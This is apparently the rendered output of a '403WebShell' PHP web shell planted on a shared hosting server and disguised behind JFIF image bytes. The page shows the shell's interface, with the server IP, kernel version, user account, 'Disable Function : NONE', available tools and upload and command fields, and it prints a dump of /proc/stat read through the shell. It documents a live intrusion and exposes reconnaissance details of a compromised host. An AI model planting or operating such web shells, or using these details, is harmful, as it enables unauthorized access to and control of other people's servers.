????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.32.1  /  Your IP : 216.73.216.46
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /././proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /././proc///stat
cpu  6393077308 117453513 2395399935 8539903159 402096689 0 275524682 12377487 0 0
cpu0 264172108 4931117 99395341 357663315 16775466 0 12989172 481917 0 0
cpu1 265736101 5043757 99620247 356352215 16788664 0 12268007 480077 0 0
cpu2 266355387 4912653 99807225 355674707 16850308 0 12059778 477670 0 0
cpu3 267338951 4884360 99729290 355134153 16851629 0 11702169 478295 0 0
cpu4 268057393 4931937 100103875 355788831 16954972 0 9913475 474347 0 0
cpu5 268220883 4873450 100052817 355888377 16883381 0 9804377 474025 0 0
cpu6 267916816 4908144 100175118 356048665 16890087 0 9736756 474806 0 0
cpu7 268239017 4889180 100190935 355754390 16937948 0 9662131 474091 0 0
cpu8 267261707 4890421 100005286 355164704 16900300 0 11254874 478559 0 0
cpu9 256836302 4784276 99841049 364623266 17210608 0 11580827 493673 0 0
cpu10 266525428 4954579 99839384 356042460 16868623 0 11194456 477110 0 0
cpu11 269330254 4974575 100006000 351482777 16162783 0 9456497 781329 0 0
cpu12 267151020 4874864 99909881 355505363 16848557 0 11132072 475604 0 0
cpu13 263901578 4788595 98624852 350827372 16333191 0 20492669 653373 0 0
cpu14 264336283 4862273 98677655 349992787 16288383 0 20634467 604578 0 0
cpu15 266640832 4830671 99794114 356237368 16803766 0 11087413 478062 0 0
cpu16 266577570 4869316 99879998 355914946 16814659 0 11332246 483623 0 0
cpu17 266433058 4836716 99795251 356313268 16799969 0 11242588 484244 0 0
cpu18 266608357 4958434 99696557 356275864 16757792 0 11056052 478381 0 0
cpu19 266806257 4764250 99662968 356401749 16738682 0 11040707 476088 0 0
cpu20 266990777 5005223 100059721 357290734 16814463 0 9399080 471919 0 0
cpu21 266359618 4828288 100352205 357786939 16835988 0 9401223 472421 0 0
cpu22 266553889 4910833 99985212 357880707 16819191 0 9388812 473333 0 0
cpu23 268727710 4945592 100194941 353858189 16167266 0 7694821 779949 0 0
intr 85714323332 61 9 0 0 479 0 0 0 1 0 0 0 15 0 7511288 0 0 0 0 0 0 0 0 0 0 0 0 2957248118 2931386981 0 29 0 83517985 1303613500 0 281491081 273205650 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 276462685624
btime 1749132754
processes 902185786
procs_running 27
procs_blocked 1
softirq 129266546077 1 3518858873 8448 1685220077 1251353730 0 672255979 4274600645 2083585 1898047747

Youez - 2016 - github.com/yon3zu
LinuXploit